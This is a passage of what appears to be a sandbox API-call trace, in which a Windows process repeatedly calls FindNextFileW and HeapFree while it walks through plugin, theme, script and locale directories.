1 [0187.507] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0187.508] FindNextFileW (in: hFindFile=0x4121488, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 1 [0187.508] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0187.508] FindNextFileW (in: hFindFile=0x41214c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 0 [0187.508] FindClose (in: hFindFile=0x41214c8 | out: hFindFile=0x41214c8) returned 1 [0187.508] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0187.508] FindNextFileW (in: hFindFile=0x4121488, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 0 [0187.508] FindClose (in: hFindFile=0x4121488 | out: hFindFile=0x4121488) returned 1 [0187.509] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.509] FindNextFileW (in: hFindFile=0x4121208, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc", cAlternateFileName="")) returned 1 [0187.509] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4151fb8 | out: hHeap=0x420000) returned 1 [0187.509] FindNextFileW (in: hFindFile=0x4121208, lpFindFileData=0x30de918 | out: lpFindFileData=0x30de918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0187.515] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0187.515] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0187.522] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0187.522] FindNextFileW (in: hFindFile=0x4121548, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0187.522] FindClose (in: hFindFile=0x4121548 | out: hFindFile=0x4121548) returned 1 [0187.522] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0187.522] FindNextFileW (in: hFindFile=0x4121108, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0187.522] FindClose (in: hFindFile=0x4121108 | out: hFindFile=0x4121108) returned 1 [0187.522] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0187.522] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0187.784] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.784] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0187.784] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.784] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0187.784] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.784] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0187.784] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.784] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0187.784] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.784] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0187.785] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.785] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0187.785] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.785] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0187.785] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.785] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0187.785] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.785] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0187.785] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.785] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0187.785] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.786] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0187.786] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.786] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0187.786] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.786] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0187.786] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.786] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0187.786] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.786] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0187.786] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.786] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0187.786] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.786] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0187.787] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.787] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0187.787] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.787] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0187.787] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.787] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0187.787] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.787] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0187.787] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.787] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0187.788] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.788] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0187.788] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.788] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0187.788] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.788] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0187.788] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.788] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0187.788] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.788] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0187.788] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.788] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0187.788] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.789] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0187.789] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.789] FindNextFileW (in: hFindFile=0x4121508, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0187.789] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0187.789] FindNextFileW (in: hFindFile=0x4121508, 